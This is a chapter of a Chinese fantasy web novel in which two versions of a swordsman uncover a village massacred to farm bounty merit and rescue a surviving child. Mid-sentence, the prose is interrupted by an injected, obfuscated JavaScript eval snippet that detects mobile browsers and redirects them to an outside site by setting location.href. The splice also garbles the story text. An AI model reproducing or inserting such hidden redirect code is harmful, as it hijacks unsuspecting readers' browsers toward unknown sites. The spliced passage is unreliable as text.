“好吧,”时栎说,“那我等着你的惊喜。顺便有句话不得不说,我飞的时候你也飞,用我双份灵力,有些吃力,更别说落地后还要我闻一路的酒味,至今为止,你还真是没做过什么让我愉快的事。” 时栎在否定他的价值,让他思索自己存在的意义。 时澈没跟他并排,只在身后两步处跟着,听他这话,平静抬眼,估算着两人的距离,他现在出剑,要多快,才能扎透时栎的身躯。 时栎走得悠哉,仿佛丝毫没有察觉到身后的杀气,连华景都闲适地挂在腰间,上面的光映在面具上,闪着时澈的眼。 时澈估算完距离,手摩挲着腰间剑柄,说:“你真的很幼稚。” 其实他还想说,你都那么吃力了,就别再把灵力给华景了,它就算亮成这样,也不能当灯笼照路,唯一的作用就是闪瞎我的眼。 时栎不以为意,握上亮得惊人的华景,“你不先反思自己,反倒来指责我,是什么道理?” 时澈说:“我有在反思自己。” “反思的结果呢?” “你真的很幼稚。” 时栎沉默了一刻,才接收到他这个没有营养的笑话。 走到一棵树前,时栎止步,收起灵力,让华景从特别亮堂变成普通亮堂,说:“我现在上树,我的惊喜什么时候来?” “小小年纪就会爬树,好厉害。”时澈已经锁定了附近的一片湖,启步过去,平静道,“等你想到回去怎么哄幻妖,惊喜就出现了。” 时栎莫名其妙看向他的背影,“你怎么知道我要想什么?” 时澈:“你猜。” 12. 功德村 夜凉如水,周遭静谧,湖面没有一丝涟漪。 时澈隐身在湖边暗处,已经确定了当年那个悬赏出现的方位,还不忘对时栎说:你开始想幻妖的时候跟我说一声。 时栎:晚了,我从上树开始,就一直在想。 【时澈】:…… 时栎:你不提那一下我还想不到,我今天不陪他看月亮,他真的会生气?那你当年哄好了吗? 时澈不理他。 忽而,平静的水面波动起来,隐隐透出金色的灵光,他精神一振,不等悬赏凝全便飞身而上,在“接取”两字出现的瞬间出手按上。 悬赏到手,化作一缕金光在他掌心,水面的位置出现一道临时传送门,他一刻不停跃进去,在原定的接悬赏人赶到之前消失在了水面上。 悬赏一闪而过,树上的时栎一怔,下意识觉得自己看错了,星界迄今为止出现的最高阶悬赏是三万功德,属于他本人。 而刚才那个…… 时栎:八万? 时栎:八万? 时栎:给我的惊喜,该让我去,你在哪儿? 时栎:带我一个,万一你打不过。 时栎:你死了?被一击毙命? 时栎:现在告诉我方位还来得及,我去救你。 通灵箓被轰炸似的一条条往外蹦消息,时澈却没心力点开看,他走出传送门,自动到了一户人家门口。 天色漆黑,风阴冷,街道很空,面前残破的木门半掩着,从里面向外散发着阵阵血腥气。 只看木门上被腐蚀出的无数个黑孔小洞,基本就能确定,这不是主城的建筑,甚至下面几个离主城近的村落也不会用到这种木头当大门,这只能是再下面一点、更穷的村落。 有条件的用上好的凌霄木,差一点的也会用红楠木,美观倒在其次,重要的是防鬼,一般小妖鬼钻不透那种大门。 而面前这道木门,一道黑孔就证明钻进去过一只鬼,上面密密麻麻的黑洞看得时澈心沉下来,多少小鬼也凑不出八万的功德,难道是一只大鬼带着无数小鬼,一窝蜂地涌进了这家? 做好被小鬼扑面的准备,他拿剑鞘抵上半掩的门,用力推开,一道黑影猛地朝他打来,他后退避开,这才看清,房门上竟然悬挂了一具死尸,原先应该是卡在半掩的门上,现在被他一推,坠了下来。 是个男子,刚才差点打到他的,就是这人垂吊下来的下半个身躯。 他现在双手双脚皆呈下垂状,脚尖沾不到地,脖颈缠着粗硬的麻绳,嘴大张,双目圆瞪,像是活着时经过剧烈挣扎,被生生吊死在房门上的模样。 时澈对着这具吊尸观察了片刻,拿剑鞘将他往旁边推了推,从一侧走近了这户人家。 里面是个小院,对外的有两处矮屋,一小一大,应该分别是厨房和卧房,右侧有口水井。 踏进院子第一步,时澈就被一股熟悉的、令人厌恶的气息包裹,他目光微冷,握上腰间断剑。 这地方,小鬼果然不少。 低阶的小妖鬼,他少时最常见,丑陋卑劣,恶心缠人,悠长而尖利的叫声能穿透他的脑子,刻印进他的神魂。 一团又一团阴风扑面而来,他压下喉间作呕的感觉,断剑自行出鞘,凌厉的剑光驱散面前半化形的小鬼,开出一条还算清阔的路。 “呜呜……” 他走到卧房门口,听到里面传来一阵细细的抽泣,像个小孩,并且是活人,妖鬼发不出这样的声音。 时澈进来这么久,暂时没碰到什么大妖鬼,院里这些小鬼不致命,只喜欢折磨人,如果里面真的藏了个活人小孩,怕是正在被它们惊吓玩弄。 想着,他一脚踹开紧闭的屋门,破荒照旧在前面开路,预备斩杀满屋的小妖鬼。 就在时澈踢门的瞬间,那抽泣声停了,紧接着床底下发出一丝慌乱的声响。 房里昏暗,时澈指尖飞出灵光,点起桌上一盏灯。 他眯了眯眼,收回断剑,顺着房间中央被拖行的血迹望向床底,说:“我不杀活人,自己出来。” 他刚进来,就感到一股不寻常的寒意笼罩住周身,破荒却停在半空不动,似乎并没有感应到有需要斩杀的妖鬼。 刚才的哭声绝对出自活人,一个落单的小孩,能好好关着门藏在房间,不被满院小鬼欺负,只有一种可能。 这小孩的旁边,有只大鬼。 而破荒之所以没动作,是因为没感应到恶鬼害人时的威胁,那只大鬼在保护小孩。 时澈想到门口那具男尸,通常来说,死人化鬼后还留有感情的几率极小,但如果是他自家孩子,化鬼后保留意识守在孩子身边,星界以往确实出现过这种情况。 床底仍没动静,时澈转换了交涉目标,对那只大鬼说:“你们藏多久了?你吃小鬼能吃饱,孩子饿上三天就会死。” 床底下突然传来窸窸窣窣的声响,时澈站立不动,下一瞬,破荒猛然出鞘,挡住朝他袭来的一小团黑影。 是妖鬼先出来了,看清那鬼的外貌,时澈一怔,不是门口那个男人,是个小女孩。 她看起来只有四五岁的年纪,此刻被破荒压制在地上,身躯呈半透明状,脸色乌青,毛发垂散,正龇起牙,凶恶地瞪向时澈的方向,嘴里发出呜哇的喊叫,本该有两颗眼珠的眼眶,此刻只剩两个黑窟窿。 时澈心沉了几分。 太小了。 人化出的妖鬼里通常不会有小孩,因为孩子不像大人,很少产生某种爱恨执念,一般来说,早夭的孩子最安全,是不用“守尸”的。 但如果是生前就被残忍虐杀的孩子呢?没人想过,繁荣安乐的星界不允许有这种假设。 这只鬼还在嘶吼着挣扎,破荒的威压对很多妖鬼来说无异于一只高阶大鬼,她已经被压制得全身青白,却拼了命的想要挣脱出去,阻止时澈走近床的方向。 时澈不过去,蹲下身收起破荒,威压消失的瞬间,这只鬼张嘴,森白的利齿朝他胳膊狠狠咬了一口,又瞬息蹿回床底。 时澈撩起衣袖,看着手臂上往外冒黑气的血洞,缓缓起身,朝床底下的活人小孩硬邦邦道:“她刚才喝了我的血,一会要闹肚子,她保护你这么久,你要是不想看她肚子疼就出来。” “……” “你在这待了多久?要是没有吃的,你只能啃她的尸体,你也会闹肚子,你再不出来我就走了,你们两个一起肚子疼。” “……” 一直没动静,时澈继续说:“我直接掀开床板怕吓到你,所以最后再说一遍,我是来救你的,你现在出来……” 床底忽而有了动静,一片黑暗中小心翼翼探出一个脑袋,又是个小女孩,时澈跟她对上了眼。 小女孩看到他的鬼面具,被吓得全身一震,下意识想缩回去,却又强撑着看向他,小声开口:“妹妹……肚子疼……” 小女孩和刚才那只鬼长得很像,只是她皮肤更有血色,眼睛也还好好长在眼眶中,虽然面颊蜡黄削瘦,却尚且算有精神,时澈观察了她嘴角处,万幸没有啃食过尸体的迹象。 他站在原处不动,问:“你是姐姐?” 小女孩点了点头,见他不靠近,又往外出来了一点。 时澈静静等着,直到她有些吃力地把自己跟手上的尸体完全拖出床底,他才把在外面抓的几个小妖鬼团成一团,从侧边扔进床底,喂食那只大鬼。 小女孩怯生生看着他,时澈把自己焊死在原地不上前,观察了一下那具尸体的腐坏程度,尽量放缓声音问:“你跟妹妹在这躲了两天?” 小女孩坐在地上盯着他看了一会儿,慢慢低下头,嘴里磕磕绊绊地说着些什么。 时澈凝神去听。 “爹爹……在,门上……娘亲,在……水里……” 他看了眼院里那口井,启步过去,果真看到一具浮在水面的女尸。 跟外面那具男尸一样,她死状凄惨,面目惊惧望天,一副生前被人折磨致死的模样。 一对父母带着两个四五岁的女儿,一家四口,三人都惨死,只留一个小孩子在世上,妹妹要保护姐姐,父母要照顾女儿,恨意执念都拉满,这种情况,想不化鬼都难。 既然妹妹在小女孩身边,那父母化出的鬼呢?时澈无论如何都不会认为他们能够安心去轮回。 这时,他余光瞥见小女孩坐到了房间门口,直勾勾盯着他的方向开口:“爹爹……娘亲……回来了……” 背后陡然袭来一股阴寒,左右肩膀同时搭上一只冰冷的手,时澈站立不动,破荒出鞘,那两只手又触电似的收了回去。 男女两只鬼避开他,转身向小女孩的方向挪动。 月色下,他们的魂体呈半透明状,男鬼歪着脑袋手脚僵硬,女鬼爬在地上,长发淌水,两人皆形容可怖,小女孩却并不害怕,眼睛一眨不眨地看着他们。 然而,就在女鬼的手快碰到小女孩脚踝时,藏在房里的妹妹鬼猛一下蹿出来,龇起牙朝他们大吼,男女两只鬼一惊,急速转了弯,窝到院落一角,贪婪地盯着小女孩,又因为惧怕她身边的那只更凶的大鬼而不敢靠近。 时澈立在院中央,视线缓慢扫过这一家四口,父母死后化鬼却失了意识,要伤害自己还活在世上的孩子,而一直保护她的,竟然是家里最小的妹妹。 能在这种情况下护住姐姐,该说是不幸中的万幸,妹妹化成了这个院子里、或者说整个村子里,最强的鬼。 时澈冷眼看向大门处被男女两只鬼引来的越来越多的妖鬼,缓缓挡到了卧房前。 他终于知道为什么这个悬赏有这么多功德了,这不是一户人家的,而是一整个村子的妖鬼聚集到一起生出的功德。 这些妖鬼里有男有女,有老有小,除了小女孩旁边的妹妹鬼,其他的都算不上什么值得杀的妖鬼,平时几十、一百功德发出去悬赏估计都没人接。 主城之下越穷的村落人口越多,暂且保守估计,这村子有一百户人家,每家三口人,这三百人一个不落全化了鬼,又通过悬赏翻了倍,才能堆得出八万的功德。 而本该接取悬赏的那个人,只要进来把这个村子的妖鬼屠光,便能轻轻松松到手八万功德。 怪不得当初没传出来相关信息,除了时栎凭借气运撞见过一次,没其他人知道星界还出现过这种高阶悬赏,或者说,根本没人能想到,可以通过这种方式来获取功德。 这些鬼无一不是狰狞残缺,每个人生前都遭受了极其残忍的虐杀,当着他们父母、孩子的面,让他们怕,让他们恨,逼他们生出执念,最终毫无意外地化成妖鬼。 时澈看着眼前这些想靠近又不敢动作的妖鬼,忽而站立不稳,一时头痛欲裂,一时眼前眩晕,耳边嗡鸣似的传来阵阵绝望的哀嚎,那声音尖利,嘶哑,仿若成百上千道灵魂在烈火中受刑,那些炽烤而出的痕迹却全都烙印在他身上,燃烧过他每一寸骨血。 “救救我们吧,”他们说,“尊上,你成神了才能救我们,太苦了,我们活得太苦了,求求你,你快成神吧,好不好?你飞升啊,你这么厉害,你怎么一直不飞升呢?” 你怎么一直不飞升呢? 你怎么一直不飞升呢? 你不是想救我们吗? 你不是要代替我们的神吗? 你飞升啊。 他神魂错乱,捂着脑袋几欲栽倒,背上的雷痕再次冲破桎梏,电流惩罚似的爬满他全身,破荒猛然落了地,威压尽失。 那群妖鬼眼见他有无力的趋势,开始试探性地,一步步接近,就等他失去意识的瞬间一起上,撕裂那只妹妹鬼,吞吃掉这个馋了两天的活人小女孩。 就在最前面那只妖鬼要触碰到他的瞬间,银光乍闪,一柄长剑刺破幽夜,直直扎到了他面前的地上。 银靴落地,时栎立到他面前,在他头顶冷哼,“早这样不就好了?打不过就乖乖求救,我刚才还在饭桌上,要不是看你……” 时澈抱住了他。 时栎被他满身雷电弄得全身一震,没来得及推开就被抱得更紧,时澈呼吸急切,像是实在没了办法,仅留着一丝清明的意识能跟他交涉,“太疼了……你别动,让我缓缓。” 时栎垂眸,看了眼自己手上被传输过来的雷光,“确实疼,你要是敢借机把电全传我身上,我就在这把你剁了喂鬼。” “……头疼。” 时栎侧过头看他,“雷把你脑袋也劈了?” “……” 如果时澈特别有骨气,现在就该一把推开他,挽回今晚最后一点颜面。 但他压不住现在神魂的错乱,时栎这么大一个活人立在面前,就算他再不愿意,神魂也驱使着他近乎贪恋地缠了上去。 时栎转了个身,瞥过后面那些妖鬼,拔下华景,剑身拍了拍他的背,“要我拖着你杀鬼?” “别杀。” “别杀?”时栎仿佛听到什么好笑的话,“你现在这副样子,费尽周章接下这个悬赏,不是为了攒功德提升境界?” “不是,”时澈动了动,抱他的手臂松开些,垂下一只手,“华景借我用用。” “还提得动?”时栎把剑交到他手上,果不其然,时澈手一松,华景差点落地。 时栎出手接剑,时澈若无其事又把垂下来的那只手臂抱回去,用实际行动向他证明,“提不动,所以要麻烦你了。现在就当我在借你的剑,但是我拿不动,需要你帮我,能听懂吗?” “……” 时栎手背探了探他额头,“没烧,你在说什么胡话?” 语罢,他终于耐心耗尽,强行把时澈从自己身上扒下来,也不管他能不能立好,甩甩被电麻的手臂,提剑指向一众妖鬼,“等着。” 他一跃入鬼堆中心,华景便陡然迸发出凛冽剑气,剑身射出的银光无差别穿透每只妖鬼,众鬼受惊,四面逃窜,半透明的身躯交错叠加在一起,反倒更方便银光捕捉牵引,几百只低阶妖鬼不多时就被牢牢捆成一团,华景随着时栎的手腕一转,将他们全部吸入剑身,而后归鞘。 时澈收起地上断剑,看着时栎走近,敲敲华景鞘身,问他:“吃得消?” “?” 只这句话就让时栎不满,把剑怼到他面具上,“怎么吃不消?这可是华景。” 时澈后退一步,“不是……” 时栎跟着往前伸剑,不依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664655|172939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不饶,“不过几只小鬼,怎么吃不消?你说。” “你别敲我脸,”时澈抬手拂开剑身,“华景当然吃得消,我是问你,几百只鬼压不压得住。” 这些人为造出的妖鬼不能杀,要全部送去轮回,此刻暂时被禁锢在了华景中,由时栎压着。 星界之所以只有亲友间会互相“守尸”,就是因为比起杀鬼,超度一只鬼需要耗费极大的精力。 除了金光寺的修者专精此道,可以批量超度妖鬼,其他修者几天能度上一只鬼就算精力不错的了,因此除了亲朋好友,一般没人干这种多余的事。 时栎来的时候,全村的妖鬼已经聚集到一处,这个村子的情况他刚落地就心知肚明,刚才问要不要杀,更多是在试探时澈的态度。 悬赏是时澈接的,全杀光,八万功德到手,天知地知,你知我知,如果乐意,两人还可以在出去后痛批幕后之人的残忍,惋惜一夜灭门的家庭,却绝口不提自己得到的好处。他们不过杀了一批妖鬼,合情合理,挑不出一点错处。 时栎收起华景,问他:“如果我不在,就你一个人面对这些鬼,杀不杀?” 时澈皱眉,“你这个问题很过分,你不是那种人,凭什么认为我是?” “你了解我,我却不了解你,总要问问,”时栎望向他面具后的那双眼,“放心,只要你说,我肯定信你。” “废话,”时澈避开他的视线,转身向外走,“孩子带出来。” 时栎蹲下身,朝小女孩伸出手。 比起戴着鬼面具又凶巴巴的时澈,显然时栎这张脸更能让小孩放松警惕,小女孩都已经伸手要被他抱起来了,妹妹鬼倏地从她肩头探出,一口咬上了时栎的护腕。 小女孩哇得一声哭出来,“妹妹……牙疼……” 时栎把她抱起来,又抬手,把咬着护腕不松的妹妹鬼送到她面前,边向外走边说,“那你让妹妹松口,松开就不牙疼了。” 小女孩脸上挂着泪珠去掰妹妹的嘴,却只能从她半透明的身体里穿过,触碰不到分毫。 妹妹见咬不透护腕,顺着时栎的胳膊扒到他肩头,黑漆漆的眼洞直盯着他。 时栎挡住小女孩的眼出门,避开门口那具吊尸,走到村口停下,塞给她几颗糖,朝肩上的妹妹鬼说:“你最好先藏起来,到了外面,多得是人抓你,到时候怎么保护姐姐?” 妹妹鬼顺着时栎的背往下爬,扒上装了几百只鬼的华景。 “你找个别的,我的剑满了,装不下,”他又压低声音,“但别让那个戴面具的知道。” “别让我知道什么?”时澈突然出现在他身后。 他探查完其他人家出来,远远就见时栎抱着一个背着一个,还聊上了,刚走近就听见这句,不由疑惑,“你刚说信我,现在就有事瞒我?” 时栎自顾自向村外走,“你猜。” 时澈走在他后面,脸正对着他怀里的小孩。 小女孩吃着糖,原本已经平静下来了,一见时澈那张月色下更显狰狞的鬼面具,又抖起来,把脑袋低下去不看他。 她手里攥着几颗糖,抓上时栎的衣服,糖纸边就从指缝露了出来。 时澈揪了一颗。 小女孩难以置信地抬头,发现他已经剥开糖纸,把糖扔进了自己嘴里,急忙收回手,攥好剩下的几颗。 时澈含着糖问她,“你妹妹呢?” 刚才远远看着还在,走近就没影了。 小女孩怯怯往他背上看去,又赶紧挪开眼神,生怕被他发现妹妹。 时澈:“……” 好在夜里凉,周身都冷,他暂时感受不到背后阴森的鬼气。 两人出了村口,此刻正徒步走向最近的传送树,时栎一直不出声,时澈就百无聊赖地点开通灵箓,看着最近发出的几条消息,开始反思。 不久前,他快被那些东西逼疯的时候,神魂最先想到的就是向时栎求救。 那时候,时栎已经因为他不理人而发了怒,对他发去的位置信息嗤之以鼻,甚至要跟他争论“迟来的惊喜还是惊喜吗”这一刁钻的难题。 时澈神魂错乱,发出的消息也错乱,从“当然是了,你怎么还不来,你要眼睁睁看着我死吗”到“快来,我需要你,我不能没有你”发了个遍,面对时栎一个个“?”,神魂的求生意志变得空前强烈,以一句“我好想你”完成了最终绝杀。 清醒过来的他已经钻进了时栎怀里,抱得顺手,严丝合缝,时栎衣服上的银饰硌得他浑身疼。 他再次肯定了自己的想法。 他的神魂是颗没有意志的土豆,时栎就是土豆里的姜,辛辣、混沌、善于伪装,他一旦克制不住想吃土豆,就会咬到这口姜,被他模糊又生动的表象欺骗玩弄,然后狼狈不堪大败而归。 他又开始在时栎身后丈量起破荒和他心脏的距离,他到底要出剑多快,才能扎透时栎的身躯。 通灵箓停在那句莫名其妙的“我好想你”,时栎甚至连个“?”都不回给他,显得他像个傻子,又有些可怜。 他在星纪六年待了两天,已经跟人抱了两回。 幻妖的怀抱温暖又熟悉,时栎的身板冷硬且陌生,时栎真的是姜,看一眼会流泪,闻一闻就作呕,幻妖不太一样,幻妖虽然也是姜,但他是土豆味的姜,温情脉脉,以假乱真。 “时栎。” 这是他回到三百年前后第一次喊出这个名字,他突然想较真,问时栎为什么不回应他那句“我好想你”。 “怎么了?”时栎发现他揪了小女孩的糖,又给她塞了几颗,顺便警告他,“不是给你的,别让我发现你吃第二回。” 想说的话被几颗糖堵了回来,时澈拿自己的剑猛敲了一下华景,在时栎震惊的眼神中走到他身边,面无表情问:“为什么不给我吃?” “……你说呢?”时栎真的怀疑他被劈坏了脑子,“我看你可怜才让你抱,没义务满足你其他要求,你也别得寸进尺,吃我的糖,你自己不觉得怪?” “不吃就不吃,”时澈哼了一声,“我哪儿让你看出可怜了?” “你现在这副样子就挺可怜的。”时栎嘲讽地勾起唇,“都跟我要糖吃了,你就这么缺爱?” 时栎自己不吃糖,却热衷于投喂幻妖,不止是糖,他要把小时候自己没得到的爱全部给幻妖,让这棵装着神魂的小萝卜能够全身心体会到被爱的感觉。 他已经长大,早就不是少年时可怜落魄的模样,自然也强大到可以去爱曾经的自己。 他给自己的定位从来是给予爱的一方,而眼前这个不知道来自多久以后的他,已经以一副“我很需要爱”的姿态在他面前晃荡了两天。 他为什么变成这样? 他凭什么变成这样? 时栎不能理解,也不想理解。 时澈没再出声,时栎走到传送树前止步,他单手抱着孩子,抬起另一只手拨弄星纹。 忽然,耳边传来一声极轻的叹息,那声音似乎发得很艰难,带着一丝隐蔽的、几不可闻的颤抖,“是啊。” “时栎,”他说,“给我颗糖。” 时栎拨弄星纹的指尖微微一顿。